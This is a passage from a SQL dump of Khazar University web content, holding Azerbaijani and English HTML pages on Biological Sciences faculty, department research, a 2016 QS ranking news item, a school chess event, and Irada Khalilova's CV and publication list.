Asadov</a></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:katrix36@gmail.com\">katrix36[at]gmail.com</a>  <a href=\"mailto:elvi017@mail.ru\"></a></p><p><br></p><p><br></p>'),(808,553,'az','Professor-müəllim heyəti','Professor-müəllim heyəti','<img src=\"/files/biolog_depart/irada_x.jpg\" style=\"float:left;width:150px;height:211px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><a href=\"http://www.khazar.org/files/letters/CV_IradaKhalilova.pdf\"><strong>Dos.&nbsp;İradə Xəlilova</strong></a></p><p><strong>Departament rəhbəri</strong><a href=\"http://www.khazar.org/files/pdf/IradaKhalilova_CV.pdf\"></a></p><p>Biologiya elmləri üzrə fəlsəfə doktoru (Azərbaycan Tibb Universiteti)</p><p>Molekulyar Biologiya və Biofizika üzrə magistr (Bakı Dövlət Universiteti, Azərbaycan)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:ikhalilova@khazar.org\"></a><a href=\"mailto:ikhalilova@khazar.org\">ikhalilova[at]khazar.org</a>&nbsp;<br></p><p><strong>Telefon</strong><strong>:</strong> (+994 12) 421 6335 (242; 246)&nbsp;</p>\r\n<hr>\r\n<p><img src=\"/files/biolog_depart/images/javid_ojaghi.jpg\" style=\"width:150px;height:175px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/biolog_depart/CV/javid_ojaghi_cv(aze).pdf\"><strong>Dos. Cavid Ocaği</strong></a></p><p>Biologiya elmləri üzrə fəlsəfə doktoru (Bakı Dövlət Universiteti, Azərbaycan)  </p><p>Bitki seleksiyası üzrə magistr&nbsp;(İslam Azad Universiteti,&nbsp;İran)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:javid.ojaghi@khazar.org\"></a><a href=\"mailto:javid.ojaghi@khazar.org\">javid.ojaghi[at]khazar.org</a>  </p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/image/14_12_24_Parvana_Bakhshaliyeva.jpg\" style=\"border:0px #000000;float:left;width:150px;height:185px;margin:7px\"><a href=\"http://www.khazar.org/files/biolog_depart/CV/parvana_bakhshaliyeva_cv(aze).pdf\"><strong>Pərvanə Baxşəliyeva</strong></a></p><p>Tibb elmləri doktoru&nbsp;(Azərbaycan Tibb Universiteti)    </p><p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:parvana.bakshaliyeva@khazar.org\"></a><a href=\"mailto:parvana.bakshaliyeva@khazar.org\">parvana.bakshaliyeva[at]khazar.org</a>  \r\n</p><p><br></p><p><br></p><p><br></p><hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/asaf_omarov_cv_(aze).pdf\"><img src=\"/files/biolog_depart/images/asaf_omarov.jpg\" style=\"width:150px;height:177px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Asəf Omarov</a></strong></p><p>Kənd təsərrüfatı&nbsp;elmləri üzrə fəlsəfə doktoru (Azərbaycan Baytarlıq Elmi-Tədqiqat İnstitutu)  </p><p>Kənd təsərrüfatı&nbsp;elmləri üzrə magistr (Azərbaycan Kənd Təsərrüfatı Akademiyası)<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:asefomarov@gmail.com\">asefomarov[at]gmail.com</a>  </p><p><br></p><p>&nbsp;</p>\r\n<hr>\r\n<img src=\"/files/biolog_depart/zaur_kerimov.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:200px\"><p><a href=\"http://www.khazar.org/files/biolog_depart/Zaur_Karimov_CV.pdf\"><strong>Dr. Zaur Kərimov</strong></a></p><p>Biologiya elmləri üzrə fəlsəfə doktoru (Mikrobiologiya İnstitutu,&nbsp;Azərbaycan Milli Elmlər Akademiyası)  <br></p><p>Tibb elmləri doktoru&nbsp;(Azərbaycan Tibb Universiteti)  </p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:zaur.karimov@khazar.org\">zaur.karimov[at]khazar.org</a>  <br></p><p><br></p><p><br></p><hr>\r\n<img src=\"http://www.khazar.org/files/image/14_12_24_Huseyn_Jafarov.jpg\" style=\"border:0px #000000;width:150px;height:187px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/biolog_depart/Huseyn_Jafarov_CV.pdf\">Hüseyn Cəfərov</a></strong></p><p>Biokimya və biotexnologiya üzrə magistr&nbsp;(Bakı Dövlət Universiteti, Azərbaycan)    </p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:huseyn.jafarov@khazar.org\">huseyn.jafarov[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/image/sefiyeva_gulafet.jpg\" style=\"border:0px #000000;width:150px;height:200px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/biolog_depart/CV%20G%C3%BClaf%C9%99t%20%C5%9E%C9%99fiyeva.pdf\"><strong>Gülafət Şəfiyeva</strong></a></p><p>Bioloji elmlər üzrə magistr&nbsp;(Lənkəran&nbsp;Dövlət Universiteti,&nbsp;Azərbaycan)  <br></p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:gulafat.shafiyeva@khazar.org\">gulafat.shafiyeva[at]khazar.org</a>  <br></p>'),(2040,1240,'en','Research','Research','<p><img src=\"/files/image/pervane_baksaliyeva..JPG\" style=\"border:0px  #000000;width:250px;height:166px;margin:7px;float:right\"><span style=\"text-align:justify\">The Department of Biological Sciences encompasses a broad spectrum of bioscience fields, including knowledge of living organisms, their environment, and evolution. Our mission is transforming biology education through research, innovation, and science.&nbsp;</span></p><p style=\"text-align:justify\">Biological Sciences Department has expertise in Biochemistry, Immunology, Ecology, Molecular Biology and Genetics.  <br></p><p style=\"text-align:justify\">The research interests of our faculty members span all levels of biological organization, including the following categories:</p><ul><li>Study of reactive oxidant production during inflammation and its impact on biological damage;</li><li>Genetic diversity, screening genes for resistance or tolerance to various stress factors and association mapping of quantitative and qualitative traits; &nbsp;</li><li>Development of new methods for the bacterial diseases diagnostics;</li><li>Diagnosis, spreading and prevention of the hereditary diseases in Azerbaijan.</li></ul><p style=\"text-align:justify\">The Department offers graduate programs leading to a Doctor of Philosophy (Ph.D.) degree in different areas of Biological Sciences, including Molecular Biology, Genetics, Biochemistry, and Immunology.</p>\r\n<p style=\"text-align:justify\">Also, we engaged in a wide range of research activities, such as: mentoring students, who are seriously committed to do research, and helping them in scientific writing; inviting researchers to give seminars; organizing scientific meetings and participating in research seminars to share knowledge and discuss research results.</p>'),(2041,1240,'az','Tədqiqat','Tədqiqat',''),(1984,1209,'en','Khazar University Among Top 70 Universities in Emerging Europe and Central Asia 2016','QS University rankings released annual ranking of the best universities in Emerging Europe and Central Asia (EECA) for 2016...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">QS University rankings released annual ranking of the best\r\nuniversities in Emerging Europe and Central Asia (EECA) for 2016.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Top 200 universities out of 21 EECA countries –Azerbaijan, Albania,\r\nBelarus, Bosnia and Herzegovina, Bulgaria, Croatia, Czekh Republic, Estonia,\r\nHungary, Kazakhstan, Kyrgyzstan, Lithuania, Latvia, Poland, Romania, Russia,\r\nSerbia, Slovakia, Slovenia, Turkey and Ukraine- have been included to the the\r\nlist.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Compared to previous the QS University rankings, 6 universities from\r\nAzerbaijan participated in the ranking. The names of those universities have\r\nbeen included to the list of top 200 universities. According to the results of\r\nthe ranking, Khazar University was ranked 68th scoring 51.9 points. Baku State\r\nUniversity was ranked 88th scoring 46 points; Qafqaz University was ranked 89th\r\nscoring 45,9 points;&nbsp; University of Languages was ranked&nbsp; 121-130th;\r\nState Economic University of Azerbaijan was ranked 150-200th; and ADA\r\nUniversity was ranked 150-200th.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><strong>For more information, you can visit the following link: &nbsp;</strong></p>\r\n<a href=\"http://www.topuniversities.com/university-rankings/eeca-rankings/2016#sorting=rank+region=+country=+faculty=+stars=false+search\">http://www.topuniversities.com/university-rankings/eeca-rankings/2016#sorting=rank+region=+country=+faculty=+stars=false+search</a>'),(1985,1210,'az','“Dünya” məktəbində təşkil olunan şahmat seansı başa çatdı','2016-cı il iyunun 13-də Xəzər Universiteti “Dünya” məktəbində təşkil olunan şahmat seansı uğurla başa çatdı. Seansda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və “Dünya” məktəbinin təsisçisi Nailəxanım İsayeva, ','<p style=\"\" text-align:justify;text-indent:.25in;line-height:14.5pt\"\"=\"\">2016-cı il iyunun 13-də Xəzər Universiteti “Dünya” məktəbində təşkil\r\nolunan şahmat seansı uğurla başa çatdı. Seansda Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və “Dünya” məktəbinin\r\ntəsisçisi Nailəxanım İsayeva, məktəb rəhbərliyi, uşaqlar arasında respublika\r\nçempionları və mükafatçılarından ibarət qrup, şagirdlər, valideynlər iştirak\r\nedirdilər.</p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:14.5pt\"\"=\"\">Tədbirin açılışında çıxış edən professor Hamlet İsaxanlı şahmatın əhəmiyyətindən\r\ndanışaraq, seansın keçirilməsini təqdir etdi və belə tədbirlərin uşaqların məntiqi\r\ntəfəkkürünün inkişafı baxımından xüsusi qiymətləndirdi.</p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:14.5pt\"\"=\"\">Seansı “Dünya” məktəbinin şahmat müəllimi, FİDE ustası Elşad Rzayev\r\naparırdı. Eyni zamanda, tədbirdə məktəbin şahmat müəllimi Şəlalə Hüseynova da\r\niştirak edirdi.&nbsp;45 lövhə üzərində eyni vaxtda oyunların gedişi gərginliklə\r\nbərabər, həm də xoş təəssüratlar yaratdı. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:14.5pt\"\"=\"\">Qaliblər xüsusi diplom və hədiyyələrlə təltif olundular.​</p>'),(809,556,'en','Irada Khalilova','Irada Khalilova','<div>&nbsp;</div><div><img src=\"/files/demo/14_12_24_Irada_khalilova_2.jpg\" style=\"width:150px;height:159px;margin:7px;float:right\"></div><div><div><p><strong style=\"font-size:large\"><strong></strong></strong></p></div><div><p><strong>Head of Department of Biological Sciences</strong></p><p><em>PhD in Biological Sciences - Allergology and Immunology (Azerbaijan Medical University)</em></p><p><em>MSc in Biology - Molecular Bilology and Biophysics (Baku State University)</em></p><p><em>&nbsp;</em></p><p>Email&nbsp;<a href=\"mailto:ikhalilova@khazar.org\">ikhalilova@khazar.org</a></p></div><p>Tel +994 12 421 6335 (242)</p>  <br></div><div><br></div><div><p><strong>Education &amp; Academic Experience</strong></p><p>Dr Irada Khalilova received her MSc degree in Biology (division - Biophysics &amp; Molecular Biology) from Azerbaijan State University (1983), and a Ph.D. in Biological Sciences (division - Allergology and Immunology) from the Azerbaijan Medical University (1994). She has also had postdoctoral training in biochemistry and immunology, and then worked as Senior Research Scientist at Immunochemistry Group, Department of Biochemistry, Azerbaijan Medical University (2003).</p><p>For several years she has worked as a Research Scientist and R&amp;D Scientist in the Centre for Free Radical Research, Department of Pathology, Otago University, New Zealand (2007 - 2014).</p><p>She has over 10 years of teaching experience, and taught biochemistry, immunology &amp; immunopathology courses for Medical students.</p><p>She has 18 published journal articles, and 22 conference contributions (published proceedings &amp; oral presentations).</p><p>&nbsp;</p><p><strong>Current Research Interests</strong></p><p>A primary focus of her current research is investigating reactive oxidant production during inflammation, its impact on biological damage and the consequences for disease pathology. Particularly it is about investigating the pathophysiological role of myeloperoxidase (MPO). MPO is a green enzyme consisting of white blood cells, which plays an important role in inflammation during cystic fibrosis, rheumatoid arthritis and cardiovascular disease. Neutrophils migrate to the side of inflammation and produce this enzyme to kill bacteria.&nbsp; MPO uses superoxide radicals and halides to generate hypohalous acids. In inflammation, such as rheumatoid arthritis (RA), neutrophils activated by immune complexes produce hypochlorous acid in the inflamed joints of patients with RA and promote inflammatory tissue damage.&nbsp;</p><p>&nbsp;</p><p><strong>Professional Memberships</strong></p><p>Society of Free Radical Research Australasia (SFRR Australia)</p><p>Azerbaijan Union Allergists and Immunologists</p><p>Union Allergists and Immunologists Commonwealth of Independent States (CIS)</p><p>&nbsp;</p><p><strong>Completed local research Grants</strong></p><p><em>Grant from Committee of Science and Technology, Azerbaijan,&nbsp;</em><strong>Javadov SA</strong>&nbsp;(PI)&nbsp; 05/1995-04/2000</p><p>Effect of metabolic alterations on functional activity of the platelets and erythrocytes in blood from patients with β-thalassemia.</p><p>The major goal of this project was to evaluate the role of biochemical alterations in cell dysfunction in patients with thalassemia that is considered as a regional genetic disease for Azerbaijan.</p><p>Role: Co-PI</p><p><em>&nbsp;</em></p><p><em>Grant from Ministry of Health, Azerbaijan</em>,&nbsp;<strong>Galybin AA</strong>&nbsp;(PI) 10/1989-09/1995</p><p>Elaboration of the immunosorbent for exclusion of insulin antibodies from the plasma during insulin-dependent diabetes mellitus.</p><p>The major goal of the project was to construct an experimental model of immunosorbent for the removal specific antibodies from diabetic patients’ blood who had high level of antibodies to insulin and immune complexes in circulation.</p><p>Role: Co-PI</p><p>&nbsp;</p><p><strong>Selected Publications</strong></p><p><strong>Journal – Research Articles</strong></p><p>Seidel A, Parker H, Turner R, Dickerhof N,&nbsp;<strong>Khalilova IS,</strong>&nbsp;Wilbanks SM, Kettle AJ, Jameson&nbsp; GNL. (2014). Uric acid and thiocyanate as competing substrates of lactoperoxidase. &nbsp;<em>J Biological Chemistry,&nbsp;</em>289(32):21937-21949&nbsp;<a href=\"http://europepmc.org/abstract/MED/24928513\" target=\"_blank\"><strong>doi:</strong><strong>&nbsp;</strong>10.1074/jbc.M113.544957</a></p><p>Stamp LK, Turner R,&nbsp;<strong>Khalilova IS,</strong>&nbsp;Zhang M, Drake J, Forbes LV, Kettle AJ. (2014). Myeloperoxidase and oxidation of uric acid in gout: implications for the clinical consequences of hyperuricaemia.<em>&nbsp;J. Rheumatology (Oxford),</em>&nbsp;pp. 266-273.<strong>&nbsp;</strong><a href=\"http://europepmc.org/abstract/MED/24899662\" target=\"_blank\"><strong>doi:</strong>&nbsp;10.1093/rheumatology/keu218</a></p><p>Kettle AJ,&nbsp;Turner R,&nbsp;Gangell CL,&nbsp;<strong>Khalilova IS</strong>, Harwood DT,&nbsp;Chapman AL,&nbsp;Winterbourn CC,&nbsp;Sly PD. (2014).&nbsp;Oxidation contributes to low glutathione in the airways of children with cystic fibrosis.&nbsp;<em>European Respiratory Journal</em>, 44:122-129.<strong>&nbsp;</strong><a href=\"http://europepmc.org/abstract/MED/24659542\" target=\"_blank\"><strong>doi:</strong>&nbsp;10.1183/09031936.00170213&nbsp;</a></p><p>Kettle AJ, Albrett AM, Chapman AL, Dickerhof N, Forbes LV,&nbsp;<strong>Khalilova I,</strong>&nbsp;Turner R. (2014). Measuring chlorine bleach in biology and medicine<em>. Biochimica et Biophysica Acta,&nbsp;</em>vol. 1840, issue 2, pp. 781-793.<strong>&nbsp;</strong><a href=\"http://europepmc.org/abstract/MED/23872351\" target=\"_blank\"><strong>doi:</strong><strong>&nbsp;</strong>10.1016/j.bbagen.2013.07.004</a></p><p>Chapman AL, Mocatta TJ, Shiva S, Seidel A, Chen B,&nbsp;<strong>Khalilova I,</strong>&nbsp;Paumann-Page ME, Jameson GN, Winterbourn CC, Kettle AJ<em>.</em><em>(2013).&nbsp;</em>Ceruloplasminin is an endogenous inhibitor of myeloperoxidase.<em>&nbsp;J. Biological Chemistry,</em>&nbsp;288:6465-6477.&nbsp;&nbsp;&nbsp;<a href=\"http://europepmc.org/abstract/MED/23306200\" target=\"_blank\"><strong>doi:</strong><strong>&nbsp;</strong>10.1074/jbc.M112.418970</a></p><p>Forbes LV,&nbsp;Paul G Furtmüller PG,&nbsp;<strong>Khalilova I,&nbsp;</strong>Turner R, Obinger C,&nbsp;Kettle AJ.&nbsp;(2012). Isoniazid as a substrate and inhibitor of myeloperoxidase: identification of amine adducts and the influence of superoxide dismutase on their formation.<em>&nbsp;J. Biochemical pharmacology,</em>&nbsp;84(7): pp.949-60.<strong>&nbsp;</strong><a href=\"http://europepmc.org/abstract/MED/22846601\" target=\"_blank\"><strong>doi:</strong><strong>&nbsp;</strong>10.1016/j.bcp.2012.07.020</a></p><p>Stamp LK,&nbsp;<strong>Khalilova I,&nbsp;</strong>Tarr JM, Senthilmohan R,&nbsp;Turner R,&nbsp; Haigh RC,&nbsp; Winyard&nbsp;PG, Kettle AJ.&nbsp;(2012). Myeloperoxidase and oxidative stress in rheumatoid arthritis.&nbsp;&nbsp;<em>J.Rheumatology (Oxford, England)</em>, 51(10): pp. 1796-803.<strong>&nbsp;</strong><a href=\"http://europepmc.org/abstract/MED/22814531\" target=\"_blank\"><strong>doi:</strong>&nbsp;10.1093/rheumatology/kes193</a></p><p>Orudzhev AG,&nbsp;Guseĭnova EE,&nbsp;<strong>Khalilova</strong><a href=\"http://www.ncbi.nlm.nih.gov/pubmed/?term=Khalilova%20IS%5BAuthor%5D&amp;cauthor=true&amp;cauthor_uid=12715396\"><strong>&nbsp;</strong></a><strong>IS,&nbsp;</strong>Dzhavadov SA. (2003). Assessment of endogenous intoxication and thrombocyte functions in beta-thalassemia.&nbsp;<em>J.Clinical Laboratory Diagnostics,&nbsp;</em>(3):39-41. Russia, ISSN 0869-2084.&nbsp;<a href=\"http://www.researchgate.net/publication/10787818_Assessment_of_endogenous_intoxication_and_thrombocyte_functions_in_beta-thalassemia\" target=\"_blank\">PMID:12715396</a></p><p><strong>Khalilova IS.</strong>&nbsp;(2002). Estimation of the proteolytic system in blood during beta thalassemia.&nbsp;<em>J.Actual Problems of Hematology and Transfusiology</em>, pp.81-85, Azerbaijan.</p><p><strong>Khalilova IS</strong>, Orujov AG, Huseynova EE, Alekperova GA. (2002). Immunobiological violations of phormennous elements of blood during beta thalassemia.&nbsp;<em>Journal of Azerbaijan Biophysical Association,</em>&nbsp;pp.215-223, Azerbaijan.</p><p>Guseinova EE,&nbsp;<strong>Khalilova IS</strong>, Dzhavadov SA. (2002). Proteolytic blood system in hemoglobinophaty.&nbsp;<em>J. Haematology and Transfusiology</em>, vol.47, N. 4, pp.33-35, Russia&nbsp;ISSN 0234-5730.</p><p><strong>Khalilova IS</strong>, Jokharidze TZ, Gelfgat EB, Javadov SA. (1994). Development of experimental model of the immunosorbent for removal antibodies to insulin.&nbsp;<em>J. Immunology</em>, N.3, pp.58-61, Russia, ISSN 0206-4952.</p><p><strong>&nbsp;</strong></p><p><strong>Conference Contribution - Published proceedings: Abstract</strong></p><p>Stamp LK,&nbsp;<strong>Khalilova I,</strong>&nbsp;Turner R, Chapman P, O’Donnell J, Kettle A.&nbsp;(2014).<em>&nbsp;</em>&nbsp;Oxidative Stress from Use of Allopurinol - Is There a Reason for Patients with Gout to Take Vitamin C?&nbsp;<em>American College of Rheumatology/Association of Rheumatology Health professionals</em>, ACR/ARHP ANNUAL MEETING.</p><p>Stamp LK,&nbsp;<strong>Khalilova I,</strong>&nbsp;Zhang M, Turner R, Kettle A.&nbsp;(2012).&nbsp;Oxidation of urate to allantoin by myeloperoxidase in gout.&nbsp;<em>Arthritis &amp; Rheumatism</em>, vol.64,&nbsp;November 9-14, Suppl 10:1903, DOI: 10.1002/art.39635.</p><p>Kettle AJ, Turner R, Gandell CL,&nbsp;<strong>Khalilova I,</strong>&nbsp;Harwood DT, Chapman AL, Winterbourn CC, Sly DT. (2011).&nbsp;Oxidation of glutathione in the airways of young children with cystic fibrosis.<em>&nbsp;American Thoracic Society International Conference Abstracts - B33. Oxidants, Oxidases&nbsp; and&nbsp;</em><em>Redox Regulation of Lung Disease,</em>&nbsp;A2793,&nbsp;<a href=\"http://www.atsjournals.org/doi/abs/10.1164/ajrccm-conference.2011.183.1_MeetingAbstracts.A2793\" target=\"_blank\">10.1164/ajrccm-conference. 183.1_MeetingAbstracts.A2793</a>.</p><p>Stamp LK,&nbsp;<strong>Khalilova I,</strong>&nbsp;Kettle A. (2010). Acute Gout Results In Increased Plasma Myeloperoxidase: A Potential Mechanism for Increase Cardiovascular Risk?&nbsp;<em>Supplement,</em><em>&nbsp;Abstracts of the American College of Rheumatology/Association of Rheumatology Health Professionals Annual Scientific Meeting Atlanta</em>, Georgia.&nbsp;&nbsp;<a href=\"http://www.blackwellpublishing.com/acrmeeting/abstract.asp?MeetingID=774&amp;id=89520\" target=\"_blank\">DOI: 10.1002/art.28638</a></p><p><strong>Khalilova I</strong>, Mocatta T, Marshall C, McClean D, Winterbourn C, Kettle A. (2009). Detection of active and inactive myeloperoxidase in plasma,&nbsp;<em>5<sup>th</sup>&nbsp;Joint Meeting of the Societies for Free Radical Research Australasia and Japan Mutagenesis and Experimental Pathology Society of Australia,&nbsp;</em>Sydney<em>,&nbsp;</em>p.147-148.</p><p>&nbsp;</p><p><strong>Conference Contribution - Verbal presentation and other Conference outputs</strong></p><p><strong>Khalilova IS</strong>, Dickerhof N, Mocatta T, Kettle AJ. (2013).&nbsp;Pro-myeloperoxidase is present in circulation and a potential participant in cardiovascular disease.<em>&nbsp;Redox Conference</em><em>&nbsp;</em><em>of the Queenstown Molecular Biology Meeting Society</em>. Queenstown, New Zealand.<em>&nbsp;</em></p><p><strong>Khalilova IS</strong>, Dickerhof N, Mocatta T, Kettle AJ.&nbsp;(2012).&nbsp;Detection of pro-myeloperoxidase in circulation.&nbsp;<em>Oxygen Theme Meeting, University of Otago</em>, Dunedin, New Zealand.</p><p><strong>Khalilova I</strong>, Chambers ST, Murdoch DR, Kettle AJ.<strong>&nbsp;(2010).&nbsp;</strong>Measurement of myeloperoxidase in urine for the detection of urinary tract infections.&nbsp;<em>19th Annual Conference of the Societies for Free Radical Research Australasia<em>,&nbsp;</em></em>Akaroa, New Zealand.</p><p><br></p></div>'),(810,556,'az',' İradə Xəlilova',' İradə Xəlilova','<strong>Bioloji Elmlər Departamentinin kafedra müdiri&nbsp;<img src=\"/files/biolog_depart/14_12_24_Irada_khalilova_2.jpg\" style=\"width:150px;height:159px;margin:7px;float:right\"></strong><br><p>Doktorantura - Bioloji Elmlər - Allerqologiya və İmmunologiya (Azərbaycan Tibb Universiteti)&nbsp;</p><p>Magistratura - Biologiya - Molekulyar Biologiya və Biofizika (Bakı Dövlət Universiteti)</p><p><br></p><p>Email&nbsp;<a href=\"mailto:ikhalilova@khazar.org\" style=\"box-sizing:border-box;color:#337ab7;text-decoration-line:none\">ikhalilova@khazar.org</a></p><p>Tel +994 12 421 6335 (242)</p>  <p><br></p><p><strong>Təhsili və Akademik Təcrübəsi</strong></p><p>İradə Xəlilova doktoranturadan sonrakı təlimini biokimya və immunologiya üzrə almışdır və Azərbaycan Tibb Universitetinin Biokimya kafedrasının İmmunokimya qrupunda Baş Elmi Tədqiqatçı kimi çalışmışdır (2003).&nbsp;</p><p>Bir neçə illər ərzində İradə Xəlilova Yeni Zelandiyanın Otaqo Universitetində Patologiya Departamentinin Sərbəst Radikal Mərkəzində Elmi Tədqiqatçı kimi çalışmışdır (2007-2014).</p><p>İradə Xəlilovanın 10 ildən artıq tədris təcrübəsi vardır və Tibb tələbələrinə Biokimya, İmmunologiya və İmmunopatologiya fənlərini tədris etmişdir.</p><p>Çap olunmuş 18 jurnal məqalələri və 22 konfrans materialı vardır.&nbsp;</p><p><br></p><p><strong>Hazırki Tədqiqat Marağı</strong></p><p>İradə Xəlilovanın hal-hazırda tədqiqatı iltihab zamanı reaktiv oksidantların sintezi, onun bioloji zədəyə təsiri və xəstəlik patologiyası üçün nəticələrini araşdırmaqdır. Burada xüsusilə mieloperoksidazanın (MPO) patofizioloji rolunun araşdırılması əsas yer tutur. MPO kistik fibroz,&nbsp;revmatoid artrit və ürək-damar xəstəlikləri zamanı iltihabda mühüm rol oynayan, ağ qan hüceyrələrindən təşkil olunmuş yaşıl fermentdir. Neytrofillər iltihab bölgəsinə hərəkət edir və bu fermenti sintez etməklə bakteriyanı öldürürlər. MPO hipohaloid turşusunu əmələ gətirmək üçün superoksid radikalları və halidləri istifadə edirlər. Revmatoid artrit (RA)&nbsp;kimi&nbsp;iltihab zamanı immun kompleksləri tərəfindən aktivləşdirilən neytrofillər xəstənin iltihablı oynaqlarında hipoxlor turşusunu sintez edirlər və iltihab toxumasının zədələnməsini təşvik edirlər.&nbsp;</p><p><br></p><p><strong>Professional Üzvlükləri</strong></p><p>Sərbəst Radikal Tədqiqatı Australasia Cəmiyyəti (SFRR Australia)</p><p>Azərbaycan Allerqoloq və İmmunoloqlar Birliyi</p><p>Müstəqil Dövlətlər Birliyinin&nbsp;Allerqoloq və İmmunoloqlar Birliyi (CİS)</p>\r\n<p><br></p>  <p><strong>Tamamlanmış Yerli Tədqiqat Qrantları</strong></p><p>Elm və Texnologiya Komitəsindən Qrant, Azərbaycan, Cavadov SA&nbsp;(PI)&nbsp; 05/1995-04/2000  </p><p>β-thalassemialı xəstənin qanından eritrositlər və trombositlərin funksional fəallığında metabolik dəyişikliklərin təsiri.&nbsp;<br></p><p>Bu layihənin əsas məqsədi Azərbaycan üçün regional genetik xəstəlik sayılan talassemialı xəstələrdə hüceyrə funksiyasının pozulmasında biokimyəvi dəyişikliklərin rolunun qiymətləndirilməsi olmuşdur.&nbsp;</p><p><br></p><p><strong>Səhiyyə Nazirliyindən Qrant, /Azərbaycan,&nbsp;Galybin AA</strong><strong>&nbsp;(PI) 10/1989-09/1995</strong>  </p><p>İnsulin-asılı şəkərli&nbsp;diabet zamanı plazmadan insulin anticisimlərinin&nbsp;&nbsp;ayrılması üçün immunosorbent hazırlanması.<br></p><p>Layihənin əsas məqsədi&nbsp;şəkərli&nbsp;diabet zamanı plazmadan insulin anticisimlərinin&nbsp;ayrılması üçün immusorbentin təcrübi modelini qurmaq olmuşdur.&nbsp;</p><p><br></p><p><strong>Seçilmiş Nəşrləri&nbsp;</strong></p><p><strong>Jurnal - Tədqiqat Məqalələri</strong></p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:medium;color:#252525;font-family:\'times new roman\', times, serif;background-color:#ffffff\">Dickerhof N, Turner R, Khalilova I, Fantino E, Sly PD, Kettle AJ,&nbsp;AREST CF. Oxidized glutathione and uric acid as biomarkers of early cystic fibrosis lung disease.  J Cyst Fibros.  16(2):214-221. <span style=\"text-decoration:underline;color:#0000cc\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/biolog_depart/14_12_24_Irada_khalilova_2.jpg\" rel=\"media04029319952951793\" width=\"150\" height=\"100\">\"&gt;doi: 10.1016/j.jcf.2016.10.012</span><br></p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:medium;color:#252525;font-family:\'times new roman\', times, serif;background-color:#ffffff\">Seidel A, Parker H, Turner R, Dickerhof N, Khalilova IS, Wilbanks SM, Kettle AJ, Jameson GN. (2014).&nbsp;Uric acid and thiocyanate as competing substrates of lactoperoxidase.&nbsp;J Biol Chem.&nbsp;289&nbsp;(32):&nbsp;21937&nbsp;-&nbsp;49. <span style=\"color:#0000cc;text-decoration:underline\">doi: 10.1074/jbc.M113.544957</span></p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:medium;color:#252525;font-family:\'times new roman\', times, serif;background-color:#ffffff\">Stamp LK, Turner R,&nbsp;Khalilova IS,&nbsp;Zhang M, Drake J, Forbes LV, Kettle AJ. (2014). Myeloperoxidase and oxidation of uric acid in gout: implications for the clinical consequences of hyperuricaemia.<em>&nbsp;J. Rheumatology (Oxford),</em>&nbsp;pp. 266-273.&nbsp;<a href=\"http://europepmc.org/abstract/MED/24899662\" target=\"_blank\">doi:&nbsp;10.1093/rheumatology/keu218</a></p><p>Kettle AJ,&nbsp;Turner R,&nbsp;Gangell CL,&nbsp;Khalilova IS, Harwood DT,&nbsp;Chapman AL,&nbsp;Winterbourn CC,&nbsp;Sly PD. (2014).&nbsp;Oxidation contributes to low glutathione in the airways of children with cystic fibrosis.&nbsp;<em>European Respiratory Journal</em>, 44:122-129.&nbsp;<a href=\"http://europepmc.org/abstract/MED/24659542\" target=\"_blank\">doi:&nbsp;10.1183/09031936.00170213&nbsp;</a></p><p>Kettle AJ, Albrett AM, Chapman AL, Dickerhof N, Forbes LV,&nbsp;Khalilova I,&nbsp;Turner R. (2014). Measuring chlorine bleach in biology and medicine<em>. Biochimica et Biophysica Acta,&nbsp;</em>vol. 1840, issue 2, pp. 781-793.&nbsp;<a href=\"http://europepmc.org/abstract/MED/23872351\" target=\"_blank\">doi:&nbsp;10.1016/j.bbagen.2013.07.004</a></p><p>Chapman AL, Mocatta TJ, Shiva S, Seidel A, Chen B,&nbsp;Khalilova I,&nbsp;Paumann-Page ME, Jameson GN, Winterbourn CC, Kettle AJ<em>.</em><em>(2013).&nbsp;</em>Ceruloplasminin is an endogenous inhibitor of myeloperoxidase.<em>&nbsp;J. Biological Chemistry,</em>&nbsp;288:6465-6477.&nbsp;&nbsp;&nbsp;<a href=\"http://europepmc.org/abstract/MED/23306200\" target=\"_blank\">doi:&nbsp;10.1074/jbc.M112.418970</a></p><p>Forbes LV,&nbsp;Paul G Furtmüller PG,&nbsp;Khalilova I,&nbsp;Turner R, Obinger C,&nbsp;Kettle AJ.&nbsp;(2012). 